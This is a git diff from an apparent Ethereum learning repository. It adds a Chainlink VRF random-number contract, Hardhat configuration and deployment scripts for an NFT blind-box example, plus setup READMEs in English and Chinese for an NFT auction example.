diff --git a/basic/15-nft-blindbox-chainlink-vrf/contracts/RandomNumberVRF.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/RandomNumberVRF.sol
new file mode 100644
index 000000000..9c8c7f6b7
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/contracts/RandomNumberVRF.sol
@@ -0,0 +1,104 @@
+// SPDX-License-Identifier: MIT
+// An example of a consumer contract that relies on a subscription for funding.
+pragma solidity >0.8.0;
+
+import {VRFConsumerBaseV2Plus} from '@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol';
+import {VRFV2PlusClient} from '@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol';
+
+/**
+ * Request testnet LINK and ETH here: https://faucets.chain.link/
+ * Find information on LINK Token Contracts and get the latest ETH and LINK faucets here: https://docs.chain.link/docs/link-token-contracts/
+ */
+
+/**
+ * THIS IS AN EXAMPLE CONTRACT THAT USES HARDCODED VALUES FOR CLARITY.
+ * THIS IS AN EXAMPLE CONTRACT THAT USES UN-AUDITED CODE.
+ * DO NOT USE THIS CODE IN PRODUCTION.
+ */
+
+contract RandomNumberVRF is VRFConsumerBaseV2Plus {
+    event RequestSent(address userAddress, uint256 requestId, uint32 numWords);
+    event RequestFulfilled(uint256 requestId, uint256[] randomWords);
+
+    struct RequestStatus {
+        bool fulfilled; // whether the request has been successfully fulfilled
+        bool exists; // whether a requestId exists
+        uint256[] randomWords;
+    }
+    mapping(uint256 => RequestStatus) public s_requests; /* requestId --> requestStatus */
+
+    // Your subscription ID.
+    uint256 public s_subscriptionId;
+
+    // Past request IDs.
+    uint256[] public requestIds;
+    uint256 public lastRequestId;
+
+    // sepolia LINK token contract. For other networks,
+    // see https://docs.chain.link/docs/vrf-contracts/#configurations
+    address vrfCoordinator = 0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B;
+
+    // The gas lane to use, which specifies the maximum gas price to bump to.
+    // For a list of available gas lanes on each network,
+    // see https://docs.chain.link/docs/vrf/v2-5/supported-networks
+    bytes32 public keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;
+
+    // Depends on the number of requested values that you want sent to the
+    // fulfillRandomWords() function. Storing each word costs about 20,000 gas,
+    // so 100,000 is a safe default for this example contract. Test and adjust
+    // this limit based on the network that you select, the size of the request,
+    // and the processing of the callback request in the fulfillRandomWords()
+    // function.
+    uint32 public callbackGasLimit = 100000;
+
+    // The default is 3, but you can set this higher.
+    uint16 public requestConfirmations = 3;
+
+    // For this example, retrieve 2 random values in one request.
+    // Cannot exceed VRFCoordinatorV2_5.MAX_NUM_WORDS.
+    uint32 public numWords = 2;
+
+    /**
+     * HARDCODED FOR SEPOLIA
+     * COORDINATOR: 0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B
+     */
+
+    constructor(uint256 subscriptionId) VRFConsumerBaseV2Plus(vrfCoordinator) {
+        s_subscriptionId = subscriptionId;
+    }
+
+    // Assumes the subscription is funded sufficiently.
+    // @param enableNativePayment: Set to `true` to enable payment in native tokens, or
+    // `false` to pay in LINK
+    function requestRandomWords(bool enableNativePayment) external onlyOwner returns (uint256 requestId) {
+        // Will revert if subscription is not set and funded.
+        requestId = s_vrfCoordinator.requestRandomWords(
+            VRFV2PlusClient.RandomWordsRequest({
+                keyHash: keyHash,
+                subId: s_subscriptionId,
+                requestConfirmations: requestConfirmations,
+                callbackGasLimit: callbackGasLimit,
+                numWords: numWords,
+                extraArgs: VRFV2PlusClient._argsToBytes(VRFV2PlusClient.ExtraArgsV1({nativePayment: enableNativePayment}))
+            })
+        );
+        s_requests[requestId] = RequestStatus({randomWords: new uint256[](0), exists: true, fulfilled: false});
+        requestIds.push(requestId);
+        lastRequestId = requestId;
+        emit RequestSent(msg.sender, requestId, numWords);
+        return requestId;
+    }
+
+    function fulfillRandomWords(uint256 _requestId, uint256[] calldata _randomWords) internal override {
+        require(s_requests[_requestId].exists, 'request not found');
+        s_requests[_requestId].fulfilled = true;
+        s_requests[_requestId].randomWords = _randomWords;
+        emit RequestFulfilled(_requestId, _randomWords);
+    }
+
+    function getRequestStatus(uint256 _requestId) external view returns (bool fulfilled, uint256[] memory randomWords) {
+        require(s_requests[_requestId].exists, 'request not found');
+        RequestStatus memory request = s_requests[_requestId];
+        return (request.fulfilled, request.randomWords);
+    }
+}
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/AccessControl.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/AccessControl.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/AccessControl.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/AccessControl.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/AccessControlEnumerable.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/AccessControlEnumerable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/AccessControlEnumerable.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/AccessControlEnumerable.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/Address.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Address.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/Address.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Address.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/Context.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Context.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/Context.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Context.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/Counters.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Counters.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/Counters.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Counters.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Burnable.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Burnable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Burnable.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Burnable.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Enumerable.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Enumerable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Enumerable.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Enumerable.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Holder.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Holder.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Holder.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Holder.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Pausable.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Pausable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721Pausable.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721Pausable.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721URIStorage.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721URIStorage.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/ERC721URIStorage.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/ERC721URIStorage.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/EnumerableSet.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/EnumerableSet.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/EnumerableSet.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/EnumerableSet.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/IERC721Enumerable.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/IERC721Enumerable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/IERC721Enumerable.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/IERC721Enumerable.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/IERC721Metadata.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/IERC721Metadata.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/IERC721Metadata.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/IERC721Metadata.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/IERC721Receiver.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/IERC721Receiver.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/IERC721Receiver.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/IERC721Receiver.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Pausable.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Pausable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Pausable.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Pausable.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/Strings.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Strings.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/Strings.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/extensions/Strings.sol
diff --git a/basic/15-nft-blindbox-chainlink-vrf/hardhat.config.js b/basic/15-nft-blindbox-chainlink-vrf/hardhat.config.js
new file mode 100644
index 000000000..8ce0c5e5b
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/hardhat.config.js
@@ -0,0 +1,60 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+require("@nomicfoundation/hardhat-verify");
+
+/** @type import('hardhat/config').HardhatUserConfig */
+
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+  
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+function mnemonic() {
+  
+  return process.env.PRIVATE_KEY
+  
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.6.6"
+      },
+      {
+        version: "0.8.7",
+        settings: {}
+      }
+    ]
+  },
+  
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+      chainId: 11155111,
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  },
+  etherscan: {
+    apiKey: process.env.APIKEY
+  }
+};
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/AddConsumer.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/AddConsumer.png
new file mode 100644
index 000000000..689427c78
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/AddConsumer.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/AddFunds.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/AddFunds.png
new file mode 100644
index 000000000..dfad4215d
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/AddFunds.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/Consumer.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/Consumer.png
new file mode 100644
index 000000000..d132723bf
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/Consumer.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/CreateSubscription.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/CreateSubscription.png
new file mode 100644
index 000000000..39a29c805
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/CreateSubscription.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/Ethereum-Sepolia.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/Ethereum-Sepolia.png
new file mode 100644
index 000000000..2b94195cd
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/Ethereum-Sepolia.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/Events.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/Events.png
new file mode 100644
index 000000000..b9f6c870f
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/Events.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/Fundsubscription.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/Fundsubscription.png
new file mode 100644
index 000000000..59a2cfdb9
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/Fundsubscription.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/GetLink.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/GetLink.png
new file mode 100644
index 000000000..910e9ff2e
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/GetLink.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/RequestAndResult.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/RequestAndResult.png
new file mode 100644
index 000000000..c477f0f22
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/RequestAndResult.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/imgs/SubscriptionDetail.png b/basic/15-nft-blindbox-chainlink-vrf/imgs/SubscriptionDetail.png
new file mode 100644
index 000000000..8e710fb0b
Binary files /dev/null and b/basic/15-nft-blindbox-chainlink-vrf/imgs/SubscriptionDetail.png differ
diff --git a/basic/15-nft-blindbox-chainlink-vrf/package.json b/basic/15-nft-blindbox-chainlink-vrf/package.json
new file mode 100644
index 000000000..50497fc04
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/package.json
@@ -0,0 +1,23 @@
+{
+  "name": "15-nft-blindbox-chainlink-vrf",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@chainlink/contracts": "^1.2.0",
+    "@nomiclabs/hardhat-etherscan": "^3.1.8",
+    "@openzeppelin/contracts": "^4.5.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2",
+    "hardhat-contract-sizer": "^2.10.0"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/15-nft-blindbox-chainlink-vrf/scripts/blindCharacter.js b/basic/15-nft-blindbox-chainlink-vrf/scripts/blindCharacter.js
new file mode 100644
index 000000000..d10fa594d
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/scripts/blindCharacter.js
@@ -0,0 +1,41 @@
+const { ethers } = require('hardhat');
+require('dotenv').config();
+const { readDeployment } = require('./utils');
+
+async function main () {
+  const [deployer] = await ethers.getSigners();
+  let wallet = new ethers.Wallet(process.env.PRIVATE_KEY, deployer.provider);
+  const { abi: DungeonsAndDragonsCharacterABI } = require('../artifacts/contracts/DungeonsAndDragonsCharacter.sol/DungeonsAndDragonsCharacter.json');
+  const deployment = readDeployment();
+  const addr = deployment.dndCharacterAddress;
+  const randomNum = deployment.randomNum;
+  if (!addr) {
+    console.log('Please deploy contract dndCharacter first');
+    return;
+  }
+
+  let DungeonsAndDragonsCharacter, user1;
+
+  DungeonsAndDragonsCharacter = new ethers.Contract(addr, DungeonsAndDragonsCharacterABI, wallet);
+  [user1] = await ethers.getSigners();
+  try {
+    console.log("Blind Character...");
+    const tx = await DungeonsAndDragonsCharacter.blindCharacter(randomNum, wallet.address, 'long')
+    txRecipt = await tx.wait();
+    console.log('Blind Character tx hash:', tx.hash)
+    const characterLen = await DungeonsAndDragonsCharacter.getNumberOfCharacters()
+    console.log('len', characterLen)
+    const character = await DungeonsAndDragonsCharacter.getCharacterOverView(Number(characterLen) - 1)
+    console.log('character', character)
+  } catch (error) {
+    console.log('Blind Character error ', error)
+  }
+}
+
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/scripts/deploy.js b/basic/15-nft-blindbox-chainlink-vrf/scripts/deploy.js
new file mode 100644
index 000000000..6b6380979
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/scripts/deploy.js
@@ -0,0 +1,32 @@
+
+const { ethers } = require('hardhat');
+require('dotenv').config();
+const { saveDeployment } = require('./utils');
+
+async function main() {
+    // We get the contract to deploy
+    const RnvContractFactory = await ethers.getContractFactory("RandomNumberVRF");
+    
+    const rnv = await RnvContractFactory.deploy(process.env.SubscriptionId);
+    
+    console.log("deploying....");
+
+    await rnv.waitForDeployment()
+
+    console.log("rnv deployed to:", rnv.target);
+
+    // save contract address to file
+    saveDeployment({
+      rnvAddress: rnv.target,
+    });
+   
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/15-nft-blindbox-chainlink-vrf/scripts/deployDungeonsAndDragonsCharacter.js b/basic/15-nft-blindbox-chainlink-vrf/scripts/deployDungeonsAndDragonsCharacter.js
new file mode 100644
index 000000000..d19b67d30
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/scripts/deployDungeonsAndDragonsCharacter.js
@@ -0,0 +1,24 @@
+const { ethers } = require('hardhat');
+require('dotenv').config();
+const { saveDeployment } = require('./utils');
+const imageUrl = 'https://cdn.pixabay.com/photo/2024/06/19/23/18/dragon-8840975_1280.png'
+
+async function main () {
+  const DungeonsAndDragonsCharacterFactory = await ethers.getContractFactory('DungeonsAndDragonsCharacter');
+  const dndCharacter = await DungeonsAndDragonsCharacterFactory.deploy(imageUrl, 'vvvvv');
+
+  console.log('deploying dndCharacter....');
+  await dndCharacter.waitForDeployment();
+
+  console.log("dndCharacter deployed to:", dndCharacter.target);
+  saveDeployment({
+    dndCharacterAddress: dndCharacter.target,
+  });
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/scripts/random-number-vrf.js b/basic/15-nft-blindbox-chainlink-vrf/scripts/random-number-vrf.js
new file mode 100644
index 000000000..76be050bf
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/scripts/random-number-vrf.js
@@ -0,0 +1,92 @@
+require("@nomicfoundation/hardhat-toolbox");
+const { ethers } = require('hardhat');
+require('dotenv').config();
+const { readDeployment, saveDeployment } = require('./utils');
+
+async function main () {
+  const provider = new ethers.WebSocketProvider(`wss://sepolia.infura.io/ws/v3/${process.env.INFURA_ID}`);
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
+
+  const { abi: RandomNumberVRFABI } = require('../artifacts/contracts/RandomNumberVRF.sol/RandomNumberVRF.json');
+
+  const deployment = readDeployment();
+  const addr = deployment.rnvAddress;
+
+  if (!addr) {
+    console.log('Please deploy contract RandomNumberVRF first');
+    return;
+  }
+
+  let rnvVRF, user1;
+
+  rnvVRF = new ethers.Contract(addr, RandomNumberVRFABI, wallet);
+  [user1] = await ethers.getSigners();
+
+  console.error('signer is: ', user1.address);
+
+  let random0ID;
+
+  console.log(`Listen on random number call...`);
+  rnvVRF.on("RequestSent", (_, ruquestId) => {
+    console.log('Event RequestId(address,uint256)');
+    console.log("requestID is :", ruquestId);
+    random0ID = ruquestId;
+  });
+
+  let random0Res = false;
+  console.log(`Listen on random number result...`);
+  rnvVRF.on("RequestFulfilled", (requestID) => {
+    console.log('Event RequestFulfilled(uint256,uint256[])');
+    random0Res = true; //  verify whether random generate or not.
+    console.log('RandomNumber generated, calling RequestStatus to get randomWords[]');
+
+  });
+
+  const tx0 = await rnvVRF.requestRandomWords(false);
+  // for sometimes , it will be fail if not specify the gasLimit
+  // const tx0 = await rnvVRF.connect(user1).requestNewRandomCharacter("DND",{
+  //   
+  //   gasLimit: 200000
+  // });
+  console.log('first transaction hash:', tx0.hash);
+
+  // wait for the result event
+  for (let i = 0; i < 500; i++) {
+    if (random0Res) {
+      saveDeployment({
+        requestID: random0ID.toString(),
+      });
+      break;
+    }
+    console.log(`${i}: Please be patient, it will take sometime to get the result`)
+    await new Promise((resolve) => {
+      setTimeout(() => {
+        resolve();
+      }, 1000);
+    });
+  }
+
+  try {
+    console.log('random0ID', random0ID);
+    if (!random0ID) {
+      console.log('random0ID is null');
+      return;
+    }
+    const getStat = await rnvVRF.getRequestStatus(random0ID);
+    saveDeployment({
+      randomNum: getStat[0]
+    })
+  } catch (error) {
+    console.log('RequestStatus error ');
+  }
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/15-nft-blindbox-chainlink-vrf/scripts/transaction.js b/basic/15-nft-blindbox-chainlink-vrf/scripts/transaction.js
new file mode 100644
index 000000000..cd9592ade
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/scripts/transaction.js
@@ -0,0 +1,36 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { readDeployment } = require('./utils');
+
+async function main() {
+    const deployment = readDeployment();
+    const addr = deployment.rnvAddress;
+    const requestID = deployment.requestID;
+   
+    const random = await ethers.getContractAt("RandomNumberVRF",addr);
+
+    // get RequestStatus 
+    console.log("Going to get RequestStatus");
+    const requests = await random.getRequestStatus(requestID);
+  
+    console.log(requests);
+
+    // get randomWords 
+    console.log("Going to get randomWords");
+    const overview = await requests.randomWords;
+    console.log(overview);
+    
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/15-nft-blindbox-chainlink-vrf/scripts/utils.js b/basic/15-nft-blindbox-chainlink-vrf/scripts/utils.js
new file mode 100644
index 000000000..ffa43b1c6
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/scripts/utils.js
@@ -0,0 +1,40 @@
+// read and save redpacket contract deployment json file
+const path = require('path');
+const fs = require('fs');
+
+const DEPLOYMENGT_DIR = path.join(__dirname, '/deployment.json');
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: 'utf-8' }));
+  } catch {
+    return null;
+  }
+}
+
+function saveDeployment(payload) {
+  let oldData = readDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: 'w+' }
+  );
+  return true;
+}
+
+module.exports = {
+  readDeployment,
+  saveDeployment,
+};
diff --git a/basic/16-nft-auction-exchange/.env.example b/basic/16-nft-auction-exchange/.env.example
new file mode 100644
index 000000000..aeb7704b0
--- /dev/null
+++ b/basic/16-nft-auction-exchange/.env.example
@@ -0,0 +1,5 @@
+INFURA_ID=yyyyyyyy
+PRIVATE_KEY_ADMIN=zzzzzzz
+PRIVATE_KEY_ALICE=mmmmmmmm
+PRIVATE_KEY_BOB=tttttt
+PRIVATE_KEY_TEST=ooooooooo
\ No newline at end of file
diff --git a/basic/16-nft-auction-exchange/README-CN.md b/basic/16-nft-auction-exchange/README-CN.md
new file mode 100644
index 000000000..781ba3681
--- /dev/null
+++ b/basic/16-nft-auction-exchange/README-CN.md
@@ -0,0 +1,132 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/16-nft-auction-exchange/README.md)
+## auction-exchange
+
+nft 资产拍卖
+
+- 支持定价出售
+- 支持拍卖
+
+## 操作步骤
+
+### 配置私钥
+
+在 .env 中放入的 如下配置，格式如下:
+
+```
+INFURA_ID=yyyyyyyy
+PRIVATE_KEY_ADMIN=xxxxx
+PRIVATE_KEY_ALICE=yyyyy
+PRIVATE_KEY_BOB=ttttt
+PRIVATE_KEY_TEST=zzzzz
+```
+
+### 启动本地测试网络
+
+- 新启动命令行输入 hardhat node  
+  npx hardhat node --network hardhat
+
+- 启动 ipfs  
+  ipfs daemon
+
+- 新启动命令行部署合约输入  
+  npx hardhat run scripts/upload.js --network localhost
+  npx hardhat run scripts/react_app_contract.js --network localhost
+
+### 前端启动
+
+- 配置参数  
+  react 启动的时候会做一些校验, 这些校验会导致 react 启动失败, 所以这里需要进行下配置跳过这些不必要的检查.
+  在 .sample.env 配置中已经进行了配置, 这里只需要把配置文件复制下即可.
+
+  ```
+  cd react-app
+  cp .env.example .env
+  ```
+
+- 启动前端
+
+  ```
+  yarn install
+  yarn start
+  ```
+
+- MetaMask 链接本地节点
+
+  - 切换 MetaMask 账户链接网路为 localhost
+  - network id: 31337
+  - rpc: http://localhost:8545
+
+- 登录 react 页面  
+  打开 react 页面, 默认为 http://localhost:3000
+
+- Faucet 注入初始资金  
+  点击页面右上角的 "Faucet" 按钮就可以注入初始资金, 用于后续拍卖
+
+- Mint 资产  
+  react 页面点击图片下面的 "Mint" 按钮, 生产 ERC721 资产, 之后可以在 "yourcollectibles" 查看归属于你的资产
+
+- 进行拍卖  
+  Mint 之后, 在图片下面会出现 "Start Auction" 的按钮, 点击按钮就可以开始拍卖, 有两种拍卖方式, "Auction Fixed Price" 和 "Auction Unfixed Price", 这里可以选择 "Auction Fixed Price" 进行拍卖 ( 进行 Auction 以后，你会发现 "yourcollectibles" 中属于你的资产消失了 )
+
+- 切换账户  
+  切换 MetaMask 到另一个账户, 页面会进行刷新. 这里刷新可能有点慢, 需要耐性等待一下, 直到右上角账户显示为新账户.
+
+- 进行竞价购买  
+  使用新的账户, 对 Auction 的图片进行 Bid , 成功购买之后, 可以在 "yourcollectibles" 中查看购买到的资产
+
+## 合约测试步骤：
+
+- 执行单元测试  
+  AuctionFixedPrice.sol : 定价拍卖  
+  AuctionUnfixedPrice.sol 不定价拍卖
+
+  ```
+  npx hardhat test
+  ```
+
+- 执行 script 下的脚本
+
+  ```
+  npx hardhat run scripts/auction-fix-price-script.js --network goerli
+  ```
+
+## 参考链接
+
+- https://medium.com/coinmonks/how-to-implement-an-erc721-market-f805959ddcf
+- https://docs.matic.network/docs/develop/advanced/swap-assets
+- https://github.com/ethers-io/ethers.js/issues/368
+- 虚拟机节点时间戳问题：https://ethereum.stackexchange.com/questions/86633/time-dependent-tests-with-hardhat
+- Opensea 使用的 Wyvern Protocol: https://github.com/wyvernprotocol/wyvern-v3
+- https://explorer-mainnet.maticvigil.com/address/0x8d1566569d5b695d44a9a234540f68D393cDC40D/contracts
+- https://github.com/ssteiger/Ethereum-NFT-Store-with-Dutch-Auctions
+- 荷兰拍卖：
+  https://medium.com/@shopevery/building-smart-contracts-for-a-dutch-auction-part-1-81dc5c770f1f
+  https://corporatefinanceinstitute.com/resources/knowledge/finance/dutch-auction/
+
+## Todo List
+
+### 管理页面
+
+- NFT 生成页
+- 我的 NFT 列表页
+- 发起拍卖操作对话框
+- 发起拍卖列表页
+- 出价记录列表页
+
+### 前端页面
+
+- 主页
+- About
+- NFT 列表页
+- 拍卖列表页
+- 出价对话框
+
+### 异常页面
+
+- 确认账号时, Metamask 调起页面
+- 没有 MetaMask, MetaMask 下载页面
+
+### 未确定
+
+- Collection 功能
+- 个人资料功能
diff --git a/basic/16-nft-auction-exchange/README.md b/basic/16-nft-auction-exchange/README.md
new file mode 100644
index 000000000..8cfc481c0
--- /dev/null
+++ b/basic/16-nft-auction-exchange/README.md
@@ -0,0 +1,132 @@
+English / [中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/16-nft-auction-exchange/README-CN.md)
+## auction-exchange
+
+Auction NFT assets
+
+- Support Fixed price and then sell
+- Support the auction
+
+## Operation Process
+
+### Configure The Private Key
+Put the private key in the **.env** file and its format is as follows
+
+```
+INFURA_ID=yyyyyyyy
+PRIVATE_KEY_ADMIN=xxxxx
+PRIVATE_KEY_ALICE=yyyyy
+PRIVATE_KEY_BOB=ttttt
